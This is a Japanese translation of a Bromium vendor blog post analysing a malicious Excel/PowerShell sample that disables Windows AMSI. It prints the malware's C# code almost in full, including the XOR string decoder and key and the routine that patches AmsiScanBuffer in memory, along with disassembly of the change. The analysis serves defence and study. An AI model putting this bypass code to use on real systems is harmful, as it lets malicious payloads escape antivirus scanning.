※ 本ブログは、2019年2月20日にBromium Blogにポストされた Disabling Anti-Malware Scanningの日本語訳です。
この記事は、前回のブログ記事「ドキュメントファイルを開かなくてもプレビューでマルウェアが動き出す」の続きで、同じ悪意のあるドキュメントのキルチェーンの後半部分を見ていきます。
ここでは、アンチマルウェア・スキャン・インターフェース(AMSI)を無効にする方法を詳しく説明します。これは、システムにインストールされているマルウェア対策ソフトウェアでデータをスキャンするためのMicrosoft Windowsの一部として提供されているインターフェースです。これにより、アプリケーションは、一例として、データをファイルに書き込む前に、ダウンロードしたデータのスキャンを要求することができます。マルウェアがこのインターフェイスを無効にすることができれば、アンチウイルスを回避することができます。この記事では、お客様から受け取ったサンプルがどのようにしてそれを行ったかを見ていきます。
RTF ドキュメントから起動される Excel ドキュメントには、それぞれ難読化されたマクロが含まれています。
この難読化されたコードを調べてみると セルG135に含まれるコマンドを 難読化された形で実行していることが分かりました:
これらの複数の難読化レベルを経て、Excelドキュメントマクロが最後にPowerShellを起動します。Bromiumは隔離されたVMの内部で発生するアクティビティを監視しているため、これら多くのレイヤーを手動で難読化解除する必要はありません。 悪意のあるドキュメントのBromiumコントローラに報告された脅威には、Powershellが実行する完全なスクリプトを含む、VM内のアクティビティのトレースが含まれています:
最終的には、このスクリプトは侵害されたウェブサイトから実行ファイルのダウンロードを試みそれを実行しますが、これは非常に一般的な手法です。このスクリプトは、リクエストのユーザーエージェントを一見無意味な文字列に設定していますが、これはダウンロードされたペイロードをカスタマイズしたり、マシン感染に成功した方法の追跡をしたりするために、侵害されたサーバーによって使用されている可能性が高いです。
しかしながら、このサンプルでは珍しいテクニックとして、PowerShell スクリプトが最初に XOR 難読化された base16 エンコードテキストを C# スクリプトに変換することによりMicrosoft AV API の一部を無効にし、ダウンロード時にファイルがスキャンされるのを回避します。
これは、PowerShell の Add-Type コマンドを使用していくつかの C# コードをロードすることで行います。この C# コードをロードした後、PowerShell インスタンスは"o15b72"という名前のクラスで"rbc5492"メソッドを呼び出し、1 秒間スリープした後、攻撃の次のステージのためにペイロードをダウンロードして実行します。
C#のコードは以下のネイティブAPIを利用しています:
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint
flNewProtect, out uint lpflOldProtect);
[DllImport("Kernel32.dll", EntryPoint = "RtlMoveMemory", SetLastError = false)]
static extern void MoveMemory(IntPtr dest, IntPtr src, int size);
"rbc5492 "メソッドを最後に分析するとして、クラスの残りのメソッドの "v4bad81 "からみてみましょう:
public static string v4bad81(string strIn)
{
string rbf4534 = "a25baab";
string m941db = String.Empty;
for (int i = 0; i < strIn.Length; i += 2)
{
byte b72323 = Convert.ToByte(strIn.Substring(i, 2), 16);
m941db += (char)(b72323 ^ rbf4534[(i / 2) % rbf4534.Length]);
}
return m941db;
}
(このメソッドの奇妙なインデントは、コピーペーストやマルウェア作者のコードレビューの悪さを示しているかもしれません。)
この "v4bad81" メソッドは入力として文字列を受け取り、それをデコードしてその文字列を返します。
入力された文字列を 2 文字ずつステップスルーし、Convert.ToByte を使用して 16 進数でデコードします。次にマルウェアはその値を取り、"rbf4534"から抽出した値でXORし、最終的な出力文字列にそれを追加します。
興味深いことに、このXORベースの難読化方法は、そもそもC#コードを難読化するために使用された方法と同じです。
というわけで、"rbc5492"メソッドにたどり着きましたので、数行ずつ見ていきましょう。
public static int rbc5492()
{
IntPtr k98a91f = LoadLibrary(v4bad81("005f460b4f050e0d"));
if (k98a91f == IntPtr.Zero)
{
return 1;
}
これは難読化文字列 "005f460b4f050e0d "で記述されたライブラリをロードします。これを難読化解除メソッドに入れると、"amsi.dll "が得られるます。したがって、このコードはアンチマルウェア・スキャン・インターフェイス(AMSI)DLLのハンドルをロードしているだけです。
IntPtr wc852 = GetProcAddress(k98a91f, v4bad81("205f460b3202030f704004070410"));
if (wc852 == IntPtr.Zero)
{
return 1;
}
コードの次の部分では、そのDLLハンドルを使用して、難読化を解除すると“AmsiScanBuffer”となる、難読化された文字列 "205f460b3202030f704004070410 "の中の関数のアドレスをロードします。この関数は、マルウェアのためのバッファ内容スキャンに使われます。
UIntPtr dwSize = (UIntPtr)5;
uint Zero = 0;
if (!VirtualProtect(wc852, dwSize, 0x40, out Zero))
{
return 1;
}
次の部分では、"AmsiScanBuffer "コードのメモリパーミッションを0x40に変更し、PAGE_EXECUTE_READWRITEにしています。これはコードの修正を許可するためです。
Byte[] Patch = { 0x31, 0xff, 0x90 };
IntPtr unmanagedPointer = Marshal.AllocHGlobal(3);
Marshal.Copy(Patch, 0, unmanagedPointer, 3);
MoveMemory(new IntPtr(wc852.ToInt64() + 0x001b), unmanagedPointer, 3);
return 0;
}
これは、3バイトを"AmsiScanBuffer "関数のメモリの0x1b(10進数で27)オフセットにコピーします。その後PowerShellスクリプトに制御を戻し、ダウンロードを行う前に1秒間スリープします。
では、AmsiScanBuffer関数の27バイト目には何が入っているのでしょうか?64 ビットの Windows 10 Redstone 4 システムでは、以下のようになっており、変更された命令は 00007fff`f479243b で赤くハイライトされています:
amsi!AmsiScanBuffer:
00007fff`f4792420 4c8bdc mov r11, rsp
00007fff`f4792423 49895b08 mov qword ptr [r11+8], rbx
00007fff`f4792427 49896b10 mov qword ptr [r11+10h], rbp
00007fff`f479242b 49897318 mov qword ptr [r11+18h], rsi
00007fff`f479242f 57 push rdi
00007fff`f4792430 4156 push r14
00007fff`f4792432 4157 push r15
00007fff`f4792434 4883ec70 sub rsp, 70h
00007fff`f4792438 4d8bf9 mov r15, r9
00007fff`f479243b 418bf8 mov edi, r8d <- Modified instruction
00007fff`f479243e 488bf2 mov rsi, rdx
…
メモリに書き込まれた3バイトは、変更された命令を2つの命令に変換します:
00007fff`f479243b 31ff xor edi, edi
00007fff`f479243d 90 nop
これは、r8d を edi にコピーする命令を、単に edi をゼロに設定するだけの命令に置き換えます。この理由は、x64 の呼び出し規則では r8d は 3 番目の関数パラメータを保持しているからです。AmsiScanBuffer 関数のプロトタイプは以下の通りです:
HRESULT AmsiScanBuffer(
HAMSICONTEXT amsiContext,
PVOID buffer,
ULONG length,
LPCWSTR contentName,
HAMSISESSION amsiSession,
AMSI_RESULT *result
);
(https://docs.microsoft.com/ja-jp/windows/win32/api/amsi/nf-amsi-amsiscanbuffer より)
第三引数を常にゼロとして扱うようにすることで、AmsiScanBuffer は常にゼロ長のバッファをスキャンしていると考えるようになり、AmsiScanBuffer は役に立たなくなります。このパッチ適用は PowerShell 内から行われるため、結果として PowerShell プロセス(そしてそのプロセスのみ)が AmsiScanBuffer を呼び出しても何もしないことになります。これにより、PowerShell がダウンロードしたコードをアンチマルウェアツールに渡してスキャンすることができなくなり、悪意のあるデータをファイルに書き込むことができるようになります。
この C# コードの後に PowerShell が行う 1 秒間のスリープは、コードを修正した際に必ず行う必要があるCPU 命令キャッシュがフラッシュされていることを確認するためではないかと推測されます。しかし、もしそうだとしたら、なぜマルウェアが FlushInstructionCache を利用しないのか理解できません。
AMSI を無効にすることは、いくつかのエクスプロイトキットで提供されている機能であると他の多くの人が報告しているので、これを行うためのテクニックの一つを実際のマルウェアで見ることは興味深いことです。しかしながら、C#コードは昨年投稿された概念実証に非常によく似ていますが、ライブラリと関数名の難読化が追加されています。
Bromium Secure Platformの場合は、軽量なマイクロVM内にマルウェアを隔離し外部からそのVMを観察するため、Bromiumがユーザーに提供する保護や検知の機能を本件のようなテクニックで回避することはできません。
Author : Toby Gray
監訳:日本HP